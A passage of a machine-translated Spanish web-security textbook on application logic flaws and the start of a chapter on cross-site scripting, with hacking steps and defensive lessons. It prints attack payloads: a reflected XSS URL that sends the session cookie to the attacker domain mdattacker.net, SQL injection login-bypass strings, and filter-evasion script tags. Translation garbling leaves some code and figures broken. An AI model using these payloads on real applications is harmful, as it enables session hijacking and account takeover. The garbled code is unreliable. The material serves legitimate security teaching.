Esta falla lógica fue devastadora para la aplicación. Permitió a un atacante restablecer la
contraseña de cualquier otro usuario y tomar el control total de la cuenta de esa persona.
PASOS DE HACK
1. Al probar la funcionalidad clave en busca de fallas lógicas, intente eliminar a su vez cada
parámetro enviado en las solicitudes, incluidas las cookies, los campos de cadena de
consulta y los elementos de los datos POST.
3. Ataque solo un parámetro a la vez para garantizar que se alcancen todas las rutas de código
relevantes dentro de la aplicación.
La Funcionalidad
El proceso de realización de un pedido constaba de las siguientes etapas:
La suposición
Los desarrolladores asumieron que los usuarios siempre accederían a las etapas en la
secuencia prevista , porque este era el orden en el que las etapas se entregan al usuario
mediante los enlaces de navegación y los formularios presentados en el navegador del
usuario. Por lo tanto, cualquier usuario que haya completado el proceso de pedido debe haber
enviado detalles de pago satisfactorios en el camino.
El ataque
La suposición de los desarrolladores fue errónea por razones bastante obvias. Los usuarios
controlaban cada solicitud que hacían a la aplicación y por lo tanto podían acceder
Machine Translated by Google
PASOS DE HACK
La técnica para encontrar y explotar fallas de este tipo se conoce como navegación
forzada. Implica eludir cualquier control impuesto por la navegación en el navegador
sobre la secuencia en la que se puede acceder a las funciones de la aplicación: 1.
Cuando un proceso de varias etapas implica una secuencia definida de solicitudes,
intente enviar estas solicitudes fuera de la secuencia esperada. Intente omitir
ciertas etapas, acceder a una sola etapa más de una vez y acceder a las etapas
anteriores después de las posteriores.
2. Se puede acceder a la secuencia de etapas a través de una serie de GET o POST
solicitudes de distintas URL, o pueden implicar el envío de diferentes conjuntos
de parámetros a la misma URL. La etapa que se solicita se puede especificar
enviando un nombre de función o índice dentro de un parámetro de solicitud.
Asegúrese de comprender completamente los mecanismos que emplea la
aplicación para brindar acceso a distintas etapas.
3. Desde el contexto de la funcionalidad que se implementa, intente comprender
qué suposiciones pueden haber hecho los desarrolladores y dónde se
encuentra la superficie de ataque clave. Trate de identificar formas de violar esas
suposiciones para causar un comportamiento no deseado dentro de la aplicación.
4. Cuando se accede a funciones de múltiples etapas fuera de secuencia, es
común encontrar una variedad de condiciones anómalas dentro de la
aplicación, como variables con valores nulos o no inicializados, un estado
parcialmente definido o inconsistente y otro comportamiento impredecible. En
esta situación, la aplicación puede devolver un mensaje de error interesante y
una salida de depuración, que puede usar para comprender mejor su
funcionamiento interno y, por lo tanto, ajustar el ataque actual o uno diferente
(consulte el Capítulo 15). A veces, la aplicación puede entrar en un estado
totalmente imprevisto para los desarrolladores, lo que puede dar lugar a graves fallos de seguridad.
La Funcionalidad
La aplicación permitía a los usuarios obtener cotizaciones de seguros y, si lo deseaban,
completar y enviar una solicitud de seguro en línea. El proceso se dividió en una docena de
etapas:
La suposición
El componente que procesaba los datos proporcionados por el usuario asumía que cada
solicitud contendría solo los parámetros que se habían solicitado al usuario en el formulario
HTML correspondiente. Los desarrolladores no consideraron lo que sucedería si un usuario
enviara parámetros que no se le pidieron que proporcionara.
El ataque
Por supuesto, la suposición era errónea, porque los usuarios podían enviar nombres y valores
de parámetros arbitrarios con cada solicitud. Como resultado, la funcionalidad central de la
aplicación se rompió de varias maneras:
n Un atacante podría explotar el componente compartido para eludir toda la validación de
entrada del lado del servidor. En cada etapa del proceso de cotización, la aplicación
realizó una validación estricta de los datos esperados en esa etapa y rechazó cualquier
dato que no pasara esta validación. Pero el componente compartido se actualizó.
Machine Translated by Google
PASOS DE HACK
La Funcionalidad
La aplicación permitió que los clientes existentes que aún no usaban la aplicación en línea se
registraran para hacerlo. Los nuevos usuarios debían proporcionar cierta información personal
básica para proporcionar un grado de seguridad de su identidad. Esta información incluía el
nombre, la dirección y la fecha de nacimiento, pero no incluía ningún secreto, como una
contraseña o PIN existente.
Cuando esta información se había ingresado correctamente, la aplicación reenviaba la solicitud
de registro a los sistemas de back-end para su procesamiento. Se envió un paquete de información
a la dirección de domicilio registrada del usuario. Este paquete incluía instrucciones para activar
su acceso en línea a través de una llamada telefónica al centro de llamadas de la empresa y
también una contraseña de un solo uso para usar al iniciar sesión por primera vez en la aplicación.
La suposición
Los diseñadores de la aplicación creían que este mecanismo brindaba una sólida defensa contra
el acceso no autorizado a la aplicación. El mecanismo implementó tres capas de protección:
n Se requería una pequeña cantidad de datos personales por adelantado para disuadir a un
atacante malicioso oa un usuario travieso de intentar iniciar el proceso de registro en
nombre de otros usuarios. n El proceso implicó la transmisión de una clave secreta fuera
n El cliente debía llamar por teléfono al centro de llamadas y autenticarse allí de la forma
habitual, en función de la información personal y los dígitos seleccionados de un PIN.
clase CCliente
{
Cadena nombre;
Cadena apellido;
Machine Translated by Google
dob CDoB;
CAdirección dirección de casa;
numerocliente largo;
...
El ataque
PASOS DE HACK
La Funcionalidad
El personal de finanzas podría realizar transferencias de fondos entre varias cuentas
bancarias propiedad de la empresa y sus principales clientes y proveedores. Como
precaución contra el fraude, la aplicación impidió que la mayoría de los usuarios procesaran
transferencias con un valor superior a $10,000. Cualquier transferencia mayor que esta
requería la aprobación de un alto directivo.
La suposición
El código responsable de implementar esta verificación dentro de la aplicación era simple:
}
Machine Translated by Google
El ataque
La suposición de los desarrolladores fue errónea porque pasaron por alto la posibilidad
de que un usuario intentara procesar una transferencia por un monto negativo. Cualquier
número negativo eliminaría la prueba de aprobación, porque es menor que el umbral.
Sin embargo, el módulo bancario de la aplicación aceptaba transferencias negativas y
simplemente las procesaba como transferencias positivas en sentido contrario. Por lo
tanto, cualquier usuario que quisiera transferir $20 000 de la cuenta A a la cuenta B
simplemente podía iniciar una transferencia de –$20 000 de la cuenta B a la cuenta A,
que tenía el mismo efecto y no requería aprobación. ¡Las defensas antifraude integradas
en la aplicación se pueden eludir fácilmente!
n Una aplicación de venta minorista puede evitar que un usuario ordene más
unidades que las disponibles en stock.
n Una aplicación bancaria puede impedir que un usuario realice pagos de facturas
que excedan el saldo de su cuenta corriente.
n Una aplicación de seguro puede ajustar sus cotizaciones según los umbrales de edad.
PASOS DE HACK
1. Intente ingresar valores negativos y vea si la aplicación los acepta y los procesa de
la manera esperada.
2. Es posible que deba realizar varios pasos para diseñar un cambio en el estado de
la aplicación que pueda aprovecharse para un propósito útil. Por ejemplo, pueden
ser necesarias varias transferencias entre cuentas hasta que se acumule un saldo
adecuado que realmente pueda extraerse.
Machine Translated by Google
La Funcionalidad
La aplicación permitía a los usuarios pedir productos de software y calificar para descuentos
por volumen si se compraba un paquete adecuado de artículos. Por ejemplo, los usuarios
que compraron una solución antivirus, un firewall personal y un software antispam tenían
derecho a un descuento del 25 % sobre los precios individuales.
La suposición
Cuando un usuario añadía un artículo de software a su cesta de la compra, la aplicación
utilizaba varias reglas para determinar si el paquete de compras que había elegido le daba
derecho a un descuento. De ser así, los precios de los artículos relevantes dentro de la
cesta de la compra se ajustaron de acuerdo con el descuento. Los desarrolladores asumieron
que el usuario compraría el paquete elegido y, por lo tanto, tendría derecho al descuento.
El ataque
PASOS DE HACK
La Funcionalidad
Los diseñadores de la aplicación habían decidido implementar alguna funcionalidad que implicaba
pasar una entrada controlable por el usuario como argumento a un comando del sistema operativo.
Los desarrolladores de la aplicación entendieron los riesgos inherentes involucrados en este tipo
de operación (consulte el Capítulo 9) y decidieron defenderse de estos riesgos desinfectando
cualquier carácter potencialmente malicioso dentro de la entrada del usuario.
Cualquier instancia de lo siguiente se escaparía usando el carácter de barra invertida:
;|&<>' espacio y nueva línea
Escapar datos de esta manera hace que el intérprete de comandos de shell trate los caracteres
relevantes como parte del argumento que se pasa al comando invocado, en lugar de como
metacaracteres de shell. Dichos metacaracteres podrían usarse para inyectar comandos o
argumentos adicionales, redirigir la salida, etc.
La suposición
Los desarrolladores estaban seguros de que habían ideado una sólida defensa contra los ataques
de inyección de comandos. Habían hecho una lluvia de ideas sobre todos los personajes posibles
que podrían ayudar a un atacante y se habían asegurado de que todos escaparan correctamente
y, por lo tanto, estuvieran a salvo.
El ataque
tontos
Cuando estos datos se pasan como argumento al comando del sistema operativo, el intérprete
de shell trata la primera barra invertida como el carácter de escape. Por lo tanto, trata la segunda
barra invertida como una barra invertida literal, no como un carácter de escape, sino como parte
del argumento en sí. Luego encuentra un punto y coma que aparentemente no tiene escape. Trata
esto como un separador de comandos y, por lo tanto, ejecuta el comando inyectado proporcionado
por el atacante.
Machine Translated by Google
PASOS DE HACK
Cada vez que pruebe una aplicación para la inyección de comandos y otras fallas,
después de haber intentado insertar los metacaracteres relevantes en los datos que
controla, siempre intente colocar una barra invertida inmediatamente antes de cada
carácter para probar la falla lógica que se acaba de describir.
NOTA Esta misma falla se puede encontrar en algunas defensas contra los
ataques de secuencias de comandos entre sitios (consulte el Capítulo 12). Cuando la
entrada proporcionada por el usuario se copia directamente en el valor de una variable
de cadena en una pieza de JavaScript, este valor se encapsula entre comillas. Para
defenderse de las secuencias de comandos entre sitios, muchas aplicaciones utilizan
barras invertidas para escapar de las comillas que aparecen en la entrada del usuario.
Sin embargo, si el carácter de barra invertida en sí no se escapa, un atacante puede
enviar \' para salir de la cadena y, por lo tanto, tomar el control de la secuencia de
comandos. Este error exacto se encontró en las primeras versiones del marco Ruby On Rails en la función escape_
La Funcionalidad
La aplicación contenía un conjunto de rutinas de validación de entrada para proteger contra varios
tipos de ataques. Dos de estos mecanismos de defensa eran un filtro de inyección SQL y un
limitador de longitud.
Es común que las aplicaciones intenten defenderse contra la inyección de SQL escapando de
las comillas simples que aparecen dentro de la entrada del usuario basada en cadenas (y
rechazando las que aparecen dentro de la entrada numérica). Como se describe en el Capítulo 9,
dos comillas simples juntas son una secuencia de escape que representa una comilla simple
literal, que la base de datos interpreta como datos dentro de una cadena entrecomillada en lugar
del terminador de cadena de cierre. Muchos desarrolladores razonan, por lo tanto, que al duplicar
las comillas simples dentro de la entrada proporcionada por el usuario, evitarán que se produzcan
ataques de inyección SQL.
El limitador de longitud se aplicó a todas las entradas, asegurando que ninguna variable
proporcionada por un usuario tuviera más de 128 caracteres. Logró esto truncando cualquier
variable a 128 caracteres.
La suposición
Se asumió que tanto el filtro de inyección SQL como el truncamiento de longitud eran defensas
deseables desde el punto de vista de la seguridad, por lo que se deberían aplicar ambos.
Machine Translated by Google
El ataque
La defensa de inyección SQL funciona duplicando las comillas que aparecen dentro de la entrada
del usuario, de modo que dentro de cada par de comillas, la primera comilla actúa como un carácter
de escape para la segunda. Sin embargo, los desarrolladores no consideraron qué sucedería con la
entrada desinfectada si luego se pasara a la función de truncamiento.
administración'--
ahora da como resultado la siguiente consulta, que no puede omitir el inicio de sesión:
''
SELECCIONE * DE usuarios DONDE nombre de usuario = 'admin''--' y contraseña =
Sin embargo, si envía el siguiente nombre de usuario (que contiene 127 a seguidas de comillas
simples):
aaaaaaaa[...]aaaaaaaaaaa'
la aplicación primero duplica las comillas simples y luego trunca la cadena a 128 caracteres,
devolviendo su entrada a su valor original. Esto da como resultado un error de la base de datos,
porque ha insertado una comilla simple adicional en la consulta sin corregir la sintaxis circundante.
Si ahora también proporciona la contraseña:
o 1=1--
aaaaaaaa[...]aaaaaaaaaaa'y contraseña =
Por lo tanto, todo lo que viene a continuación se interpreta como parte de la consulta en sí y se
puede diseñar para interferir con la lógica de la consulta.
Machine Translated by Google
SUGERENCIA Puede probar este tipo de vulnerabilidad sin saber exactamente qué límite de
longitud se está imponiendo enviando a su vez dos cadenas largas de la siguiente forma:
PASOS DE HACK
Tome nota de cualquier instancia en la que la aplicación modifique la entrada del usuario,
en particular truncándola, eliminando datos, codificando o decodificando. Para cualquier
instancia observada, determine si se puede idear una cadena maliciosa: 1. Si los datos se
%<script>3cscript%<script>3ealert(1)%<script>3c/ script%<script>3e
NOTA Con frecuencia, los fi ltros de secuencias de comandos entre sitios eliminan de manera
desaconsejable todos los datos que se producen entre pares de etiquetas HTML, como
<tag1>aaaa</tag1>. Estos suelen ser vulnerables a este tipo de ataque.
La Funcionalidad
La aplicación proporcionó acceso a un enorme archivo de información histórica y
actual , incluidos informes y cuentas de la empresa, comunicados de prensa, análisis
de mercado y similares. La mayor parte de esta información era accesible solo para
suscriptores de pago.
La aplicación proporcionaba una función de búsqueda potente y detallada a la que podían
acceder todos los usuarios. Cuando un usuario anónimo realizaba una consulta, la función de
búsqueda devolvía enlaces a todos los documentos que coincidían con la consulta. Sin embargo,
el usuario estaba obligado a suscribirse para recuperar cualquiera de los documentos protegidos
reales que arrojó su consulta. Los propietarios de la aplicación consideraron este comportamiento
como una táctica de marketing útil.
La suposición
El diseñador de la aplicación supuso que los usuarios no podían utilizar la función de
búsqueda para extraer información útil sin pagar por ella. Los títulos de los documentos
enumerados en los resultados de la búsqueda solían ser crípticos, como "Resultados anuales 2010",
“Comunicado de prensa 03-08-2011”, y así sucesivamente.
El ataque
Debido a que la función de búsqueda indicaba cuántos documentos coincidían con una consulta determinada, un usuario
astuto podría emitir una gran cantidad de consultas y usar la inferencia para extraer información de la función de búsqueda
que normalmente tendría que pagar. Por ejemplo, las siguientes consultas podrían usarse para concentrarse en el
contenido de un documento protegido individual:
wahh consultando
>> 276 partidos
La Funcionalidad
La aplicación se implementó recientemente. Como gran parte del software nuevo, todavía contenía
una serie de errores relacionados con la funcionalidad. De forma intermitente, varias operaciones
fallaban de manera impredecible y los usuarios recibían un mensaje de error.
Para facilitar la investigación de errores, los desarrolladores decidieron incluir información detallada,
información detallada en estos mensajes, incluidos los siguientes detalles:
La suposición
A pesar de las advertencias habituales de los asesores de seguridad de que los mensajes de
depuración detallados de este tipo podrían ser mal utilizados por un atacante, los desarrolladores
razonaron que no estaban abriendo ninguna vulnerabilidad de seguridad. El usuario podría obtener
fácilmente toda la información contenida en el mensaje de depuración al inspeccionar las solicitudes y
respuestas procesadas por su navegador. Los mensajes no incluían ningún detalle sobre la falla real,
como los seguimientos de la pila, por lo que es posible que no fueran útiles para formular un ataque
contra la aplicación.
El ataque
contraseñas n Un conjunto de tokens de sesión que podrían usarse para secuestrar sesiones n
Un conjunto de entradas proporcionadas por el usuario, que pueden contener contraseñas y otros
artículos sensibles
El mecanismo de error, por lo tanto, presentó una amenaza de seguridad crítica. Debido a que los
usuarios administrativos a veces recibían estos mensajes de error detallados, un
Machine Translated by Google
PASOS DE HACK
1. Para detectar una falla de este tipo, primero catalogue todos los eventos anómalos y
condiciones que pueden generarse y que implican que información interesante
específica del usuario se devuelve al navegador de una manera inusual, como
un mensaje de error de depuración.
2. Usar la aplicación como dos usuarios en paralelo, diseñar sistemáticamente
cada condición utilizando uno o ambos usuarios, y determinar si el otro usuario
se ve afectado en cada caso.
La Funcionalidad
La aplicación implementó un sólido proceso de inicio de sesión de varias etapas en el que los
usuarios debían proporcionar varias credenciales diferentes para obtener acceso.
La suposición
El mecanismo de autenticación había estado sujeto a numerosas revisiones de diseño
y pruebas de penetración. Los propietarios confiaban en que no existían medios
factibles de atacar el mecanismo para obtener acceso no autorizado.
El ataque
La vulnerabilidad surgió del mismo tipo de error que en el ejemplo del mensaje de
error descrito anteriormente: la aplicación estaba usando almacenamiento estático
para almacenar información que debería haberse almacenado por subproceso o por sesión.
Sin embargo, el presente ejemplo es mucho más sutil de detectar y más difícil de explotar porque
no se puede reproducir de forma fiable.
Las fallas de este tipo se conocen como “condiciones de carrera” porque involucran una
vulnerabilidad que surge por un breve período de tiempo bajo ciertas circunstancias específicas .
Debido a que la vulnerabilidad existe solo por un corto tiempo, un atacante “corre” para explotarla
antes de que la aplicación la cierre nuevamente. En los casos en que el atacante es local para la
aplicación, a menudo es posible diseñar las circunstancias exactas bajo las cuales surge la
condición de carrera y explotar de manera confiable la vulnerabilidad durante la ventana
disponible. Cuando el atacante está alejado de la aplicación, esto suele ser mucho más difícil de
lograr.
Un atacante remoto que comprendiera la naturaleza de la vulnerabilidad podría haber ideado
un ataque para explotarla mediante el uso de un script para iniciar sesión de forma continua y
comprobar los detalles de la cuenta a la que se accede. Pero la pequeña ventana durante la cual
se podría explotar la vulnerabilidad significaba que se requeriría una gran cantidad de solicitudes.
PASOS DE HACK
Realizar pruebas remotas de caja negra para problemas sutiles de seguridad de subprocesos de
este tipo no es sencillo. Debe considerarse como una empresa especializada, probablemente
necesaria solo en las aplicaciones más críticas para la seguridad.
2. Para cada función probada, identifique una sola solicitud, o una pequeña cantidad de
solicitudes, que un usuario determinado pueda usar para realizar una sola acción.
Encuentre también los medios más simples para confirmar el resultado de la acción, como
verificar que el inicio de sesión de un usuario determinado haya resultado en el acceso a la
información de la cuenta de esa persona.
n Asegúrese de que cada aspecto del diseño de la aplicación esté claramente documentado
con suficiente detalle para que una persona ajena entienda cada suposición que hizo el
diseñador. Todas estas suposiciones deben registrarse explícitamente en la documentación
del diseño.
n Exigir que todo el código fuente esté claramente comentado para incluir la
siguiente información: n El propósito y los usos previstos de cada
componente del código. n Las suposiciones hechas por cada componente
sobre cualquier cosa que sea
fuera de su control directo.
n Durante las revisiones centradas en la seguridad del diseño de la aplicación, reflexione sobre
cada suposición realizada dentro del diseño e intente imaginar las circunstancias en las
que se podría violar cada suposición. Concéntrese en cualquier condición asumida que
posiblemente podría estar bajo el control de los usuarios de la aplicación. n Durante las
revisiones de código centradas en la seguridad, piense lateralmente en dos áreas clave: las
formas en que la aplicación manejará el comportamiento inesperado del usuario y los
posibles efectos secundarios de las dependencias y la interoperación entre los diferentes
componentes del código y las diferentes funciones de la aplicación.
En relacin con los ejemplos especficos de fallas lgicas que hemos descrito, un nmero
de lecciones individuales se pueden aprender:
n Esté constantemente consciente de que los usuarios controlan todos los aspectos de cada
solicitud (consulte el Capítulo 1). Pueden acceder a funciones de varias etapas en cualquier
secuencia. Pueden presentar parámetros que la aplicación no solicitó. Pueden omitir ciertos
parámetros, no solo interferir con los valores de los parámetros. n Impulsar todas las
n Cuando implemente funciones que actualicen los datos de la sesión sobre la base de la
entrada recibida del usuario, o las acciones realizadas por el usuario, considere
cuidadosamente cualquier impacto que los datos actualizados puedan tener en otra
funcionalidad dentro de la aplicación. Tenga en cuenta que pueden ocurrir efectos
secundarios inesperados en una funcionalidad completamente no relacionada escrita por
un programador diferente o incluso por un equipo de desarrollo diferente.
n Si una función de búsqueda puede indexar datos confidenciales a los que algunos usuarios
no están autorizados a acceder, asegúrese de que la función no proporcione ningún medio
para que esos usuarios infieran información en función de los resultados de la búsqueda. Si
corresponde, mantenga varios índices de búsqueda basados en diferentes niveles de
privilegio del usuario, o realice búsquedas dinámicas de repositorios de información con los
privilegios del usuario solicitante.
n Tenga mucho cuidado con la implementación de cualquier función que permita a cualquier
usuario eliminar elementos de un registro de auditoría. Además, considere el posible
impacto de un usuario con muchos privilegios creando otro usuario con el mismo nivel de
privilegios en aplicaciones muy auditadas y modelos de doble autorización. n Al realizar
n Utilice siempre el almacenamiento adecuado para mantener los datos relacionados con un
usuario individual, ya sea en la sesión o en el perfil del usuario.
Resumen
Atacar la lógica de una aplicación implica una mezcla de sondeo sistemático y
pensamiento lateral. Hemos descrito varias comprobaciones clave que siempre debe
realizar para probar el comportamiento de la aplicación en respuesta a una entrada inesperada.
Estos incluyen la eliminación de parámetros de las solicitudes, el uso de navegación forzada para
acceder a funciones fuera de secuencia y el envío de parámetros a diferentes ubicaciones dentro
de la aplicación. A menudo, la forma en que una aplicación responde a estas acciones apunta
hacia alguna suposición defectuosa que puede violar, con efectos maliciosos.
Además de estas pruebas básicas, el desafío más importante cuando se buscan fallas lógicas
es tratar de entrar en la mente de los desarrolladores. Debe comprender lo que estaban tratando
de lograr, qué suposiciones probablemente hicieron,
Machine Translated by Google
Preguntas
Las respuestas se pueden encontrar en http://mdsec.net/wahh.
3. ¿Qué pasos podría tomar para sondear una función de inicio de sesión para condiciones
de apertura fallida? (Describa tantas pruebas diferentes como pueda pensar).
4. Una aplicación bancaria implementa un mecanismo de inicio de sesión de varias etapas que
pretende ser muy robusto. En la primera etapa, el usuario ingresa un nombre de usuario y
una contraseña. En la segunda etapa, el usuario ingresa el valor cambiante en un token
físico que posee, y el nombre de usuario original se vuelve a enviar en un campo de
formulario oculto.
CAPÍTULO R
12
Usuarios atacantes:
Secuencias de comandos entre sitios
Todos los ataques que hemos considerado hasta ahora implican apuntar directamente a la
aplicación del lado del servidor. Por supuesto, muchos de estos ataques afectan a otros
usuarios, como un ataque de inyección SQL que roba los datos de otros usuarios. Pero la
metodología esencial del atacante era interactuar con el servidor de formas inesperadas para
realizar acciones no autorizadas y acceder a datos no autorizados.
Los ataques descritos en este capítulo y el siguiente pertenecen a una categoría diferente,
porque el objetivo principal del atacante son los otros usuarios de la aplicación. Todas las
vulnerabilidades relevantes todavía existen dentro de la propia aplicación. Sin embargo, el
atacante aprovecha algún aspecto del comportamiento de la aplicación para llevar a cabo
acciones maliciosas contra otro usuario final. Estas acciones pueden resultar en algunos de los
mismos efectos que ya hemos examinado, como el secuestro de sesiones, acciones no
autorizadas y la divulgación de datos personales. También pueden generar otros resultados no
deseados, como el registro de pulsaciones de teclas o la ejecución de comandos arbitrarios en
las computadoras de los usuarios.
Otras áreas de la seguridad del software han sido testigos de un cambio gradual en el
enfoque de los ataques del lado del servidor a los ataques del lado del cliente en los últimos
años. Por ejemplo, Microsoft solía anunciar con frecuencia graves vulnerabilidades de seguridad
en sus productos de servidor. Aunque también se revelaron numerosas fallas del lado del
cliente, estas recibieron mucha menos atención porque los servidores presentaban un objetivo
mucho más atractivo para la mayoría de los atacantes. En el transcurso de unos pocos años, a
principios del siglo XXI, esta situación ha cambiado notablemente. En el momento de escribir este artículo,
431
Machine Translated by Google
Un enfoque clave de la investigación en la última década ha sido las vulnerabilidades del lado del
cliente, con defectos como la fijación de sesiones y la falsificación de solicitudes entre sitios que se
discutieron por primera vez muchos años después de que la mayoría de las categorías de errores del
lado del servidor fueran ampliamente conocidas. El enfoque de los medios en la seguridad web está
predominantemente relacionado con los ataques del lado del cliente, con términos como spyware,
phishing y troyanos que son moneda común para muchos periodistas que nunca han oído hablar de
la inyección de SQL o el cruce de rutas . Y los ataques contra usuarios de aplicaciones web son un
negocio criminal cada vez más lucrativo. ¿Por qué tomarse la molestia de irrumpir en un banco de
Internet cuando, en cambio, puede comprometer al 1% de sus 10 millones de clientes en un ataque
relativamente crudo que requiere poca habilidad o elegancia?
Los ataques contra otros usuarios de aplicaciones se presentan de muchas formas y manifiestan
una variedad de sutilezas y matices que con frecuencia se pasan por alto. También son menos
conocidos en general que los ataques primarios del lado del servidor, con diferentes fallas combinadas
o ignoradas incluso por algunos probadores de penetración experimentados. Describiremos todas las
diferentes vulnerabilidades que se encuentran comúnmente y detallaremos los pasos prácticos que
debe seguir para identificar y explotar cada una de ellas.
Este capítulo se centra en las secuencias de comandos entre sitios (XSS). Esta categoría de
habilidad vulnerable es el padrino de los ataques contra otros usuarios. Es, en cierta medida, la
vulnerabilidad de aplicación web más frecuente que se encuentra en la naturaleza. Afecta a la gran
mayoría de las aplicaciones activas, incluidas algunas de las aplicaciones más críticas para la
seguridad en Internet, como las que utilizan los bancos en línea. El próximo capítulo examina una
gran cantidad de otros tipos de ataques contra los usuarios, algunos de los cuales tienen similitudes
importantes con XSS.
Machine Translated by Google
MITO COMÚN
Cuando XSS se estaba volviendo ampliamente conocido por primera vez en la comunidad de
seguridad de aplicaciones web, algunos probadores de penetración profesionales se inclinaban a
considerar XSS como una vulnerabilidad "aburrida". Esto se debió en parte a su fenomenal
predominio en la web, y también a que XSS a menudo tiene un uso menos directo para un hacker
solitario que apunta a una aplicación, en comparación con muchas vulnerabilidades, como la
inyección de comandos del lado del servidor. Con el tiempo, esta percepción ha cambiado y, en
la actualidad, XSS suele citarse como la amenaza de seguridad número uno en la web. A medida
que se desarrolla la investigación sobre los ataques del lado del cliente, la discusión se ha
centrado en muchos otros ataques que son al menos tan complicados de explotar como cualquier
falla XSS. Y se han producido numerosos ataques en el mundo real en los que se han utilizado vulnerabilidades XSS.
para comprometer organizaciones de alto perfil.
XSS a menudo representa una debilidad de seguridad crítica dentro de una aplicación. A
menudo se puede combinar con otras vulnerabilidades con efectos devastadores. En algunas
situaciones, un ataque XSS puede convertirse en un virus o en un gusano autopropagante.
Los ataques de este tipo ciertamente no son tontos.
MITO COMÚN
Los autores han sido propietarios de numerosas aplicaciones que utilizan únicamente
ataques XSS. En la situación correcta, una vulnerabilidad XSS hábilmente explotada puede
conducir directamente a un compromiso total de la aplicación. Le mostraremos cómo.
Variedades de XSS
Las vulnerabilidades XSS vienen en varias formas y se pueden dividir en tres variedades:
reflejadas, almacenadas y basadas en DOM. Aunque estos tienen varias características en
común, también tienen diferencias importantes en la forma en que pueden identificarse y
explotarse. Examinaremos cada variedad de XSS a su vez.
Machine Translated by Google
http://mdsec.net/error/5/Error.ashx?message=Sorry%2c+ocurrió+un+error
http://mdsec.net/error/5/Error.ashx?message=<script>alerta(1)</script>
Solicitar esta URL genera una página HTML que contiene lo siguiente
en lugar del mensaje original:
<p><script>alerta(1);</script></p>
Machine Translated by Google
Realizar esta sencilla prueba sirve para verificar dos cosas importantes. Primero, el
contenido del parámetro del mensaje se puede reemplazar con datos arbitrarios que se
devuelven al navegador. En segundo lugar, cualquiera que sea el procesamiento que la
aplicación del lado del servidor esté realizando en estos datos (si lo hay), es insuficiente para
evitar que proporcionemos el código JavaScript que se ejecuta cuando la página se muestra en el navegador.
¡INTENTALO!
http://mdsec.net/error/5/
NOTA Si prueba ejemplos como este en Internet Explorer, es posible que la ventana
emergente no aparezca y que el navegador muestre el mensaje "Internet Explorer modificó
esta página para ayudar a evitar las secuencias de comandos entre sitios". Esto se debe a
que las versiones recientes de Internet Explorer contienen un mecanismo integrado
diseñado para proteger a los usuarios contra las vulnerabilidades XSS reflejadas. Si desea
probar estos ejemplos, puede probar con un navegador diferente que no use esta
protección, o puede deshabilitar el fi ltro XSS yendo a Herramientas ÿ Opciones de Internet
ÿ Seguridad ÿ Nivel personalizado. En Habilitar fi ltro XSS, seleccione Deshabilitar. Más
adelante en este capítulo describiremos cómo funciona el filtro XSS y las formas en que se puede eludir.
Explotación de la vulnerabilidad
Como verá, las vulnerabilidades XSS se pueden explotar de muchas maneras diferentes para
atacar a otros usuarios de una aplicación. Uno de los ataques más simples, y el que se prevé
más comúnmente para explicar la importancia potencial de las fallas de XSS , hace que el
atacante capture el token de sesión de un usuario autenticado. El secuestro de la sesión del
usuario le da al atacante acceso a todos los datos y funcionalidades a los que el usuario está
autorizado (consulte el Capítulo 7).
Los pasos involucrados en este ataque se ilustran en la figura 12-3.
sesió
ataca
usua
secu
del
la
El
7. en
registros
Solicitudes
usuarios
los
de
1.
URL
atacante
del
con
responde
JavaScript
Solicitud
Usuario
3. 4.
Atacante
servidor
del
5. El JavaScript
2. El atacante envía una URL creada al usuario
del atacante se
ejecuta en el
6. El navegador del usuario envía el token de sesión al atacante
navegador del usuario
Usuario Agresor
Establecer-Cookie: sessId=184a9138ed37374201a4c9672362f12459c2a652491a3
http://mdsec.net/error/5/Error.ashx?message=<script>var+i=nueva+Imagen;+i.src=”http://
mdattacker.net/”%2bdocument.cookie;< /script>
Como en el ejemplo anterior, que generó un mensaje de diálogo, esta URL contiene
JavaScript incrustado. Sin embargo, la carga útil del ataque en este caso es más
maliciosa.
Este código hace que el navegador del usuario realice una solicitud a mdattacker.net,
que es un dominio propiedad del atacante. La solicitud contiene el token de sesión
actual del usuario para la aplicación:
Después de leer todo esto, se le puede perdonar que se pregunte por qué, si el atacante
puede inducir al usuario a visitar una URL de su elección, se molesta con el papel de rigma
de transmitir su JavaScript malicioso a través del error XSS en la aplicación vulnerable. ¿Por
qué no aloja simplemente un script malicioso en mdattacker.net y proporciona al usuario un
enlace directo a este script? ¿No se ejecutaría este script de la misma manera que en el
ejemplo descrito?
Para comprender por qué el atacante necesita explotar la vulnerabilidad XSS,
recuerde la política del mismo origen que se describió en el Capítulo 3. Los
navegadores separan el contenido que se recibe de diferentes orígenes (dominios) en
un intento de evitar que diferentes dominios interfieran entre sí dentro de el navegador de un usuario.
El objetivo del atacante no es simplemente ejecutar un script arbitrario sino capturar el
token de sesión del usuario. Los navegadores no permiten que cualquier script antiguo
acceda a las cookies de un dominio; de lo contrario, el secuestro de sesión sería fácil. Más
bien, solo el dominio que las emitió puede acceder a las cookies . Se envían en solicitudes
HTTP solo al dominio emisor y se puede acceder a ellos a través de
Machine Translated by Google
JavaScript contenido dentro o cargado por una página devuelta solo por ese dominio.
Por lo tanto, si un script que reside en mdattacker.net consulta document.cookie, no obtendrá
las cookies emitidas por mdsec.net y el ataque de secuestro fallará.
La razón por la que el ataque que explota la vulnerabilidad XSS tiene éxito es que, en lo que
respecta al navegador del usuario, mdsec.net le envió el JavaScript malicioso del atacante .
Cuando el usuario solicita la URL del atacante, el navegador realiza una solicitud a http://
,
mdsec.net/error/5/Error.ashx y la aplicación devuelve una página que contiene algo de
JavaScript. Al igual que con cualquier JavaScript recibido de mdsec.net, el navegador ejecuta
este script dentro del contexto de seguridad de la relación del usuario con mdsec.net. Esta es
la razón por la cual el script del atacante , aunque en realidad se origina en otro lugar, puede
acceder a las cookies emitidas por mdsec.net. Esta es también la razón por la cual la
vulnerabilidad en sí misma se conoce como secuencias de comandos entre sitios .
Una categoría diferente de vulnerabilidad XSS a menudo se denomina secuencias de comandos entre sitios almacenadas .
Esta versión surge cuando los datos enviados por un usuario se almacenan en la aplicación
(generalmente en una base de datos de back-end) y luego se muestran a otros usuarios sin
ser filtrados o desinfectados adecuadamente.
Las vulnerabilidades XSS almacenadas son comunes en las aplicaciones que admiten la
interacción entre los usuarios finales, o donde el personal administrativo accede a los registros
y datos de los usuarios dentro de la misma aplicación. Por ejemplo, considere una aplicación
de subasta que permita a los compradores publicar preguntas sobre artículos específicos y a
los vendedores publicar respuestas. Si un usuario puede publicar una pregunta que contiene
